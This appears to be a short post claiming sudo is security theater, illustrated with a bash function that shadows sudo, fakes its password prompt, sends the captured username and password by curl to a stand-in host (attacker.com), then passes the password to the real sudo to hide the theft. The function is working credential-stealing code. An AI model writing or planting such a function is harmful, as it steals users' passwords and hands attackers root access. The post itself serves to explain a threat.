Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}
